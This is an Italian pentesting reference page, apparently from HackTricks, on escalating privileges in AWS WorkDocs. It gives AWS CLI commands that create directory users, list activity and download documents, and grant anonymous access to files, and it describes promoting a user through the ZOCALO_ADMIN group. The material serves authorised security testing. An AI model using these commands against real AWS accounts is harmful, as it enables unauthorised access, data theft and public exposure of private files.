# AWS - WorkDocs Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## WorkDocs

Per maggiori informazioni su WorkDocs consulta:

{{#ref}}
../../aws-services/aws-directory-services-workdocs-enum.md
{{#endref}}

### `workdocs:CreateUser`

Crea un utente nella Directory indicata; otterrai accesso sia a WorkDocs sia ad AD:
```bash
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`

I file potrebbero contenere informazioni sensibili, leggili:
```bash
# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`

Se non hai i permessi per leggere qualcosa, puoi semplicemente concederteli.
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
```
### `workdocs:AddUserToGroup`

Puoi rendere un utente admin impostandolo nel gruppo ZOCALO_ADMIN.\
Per farlo segui le istruzioni su [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)

Effettua il login con quell'utente in workdoc e accedi al pannello di amministrazione in `/workdocs/index.html#/admin`

Non ho trovato alcun modo per farlo dalla cli.




{{#include ../../../../banners/hacktricks-training.md}}
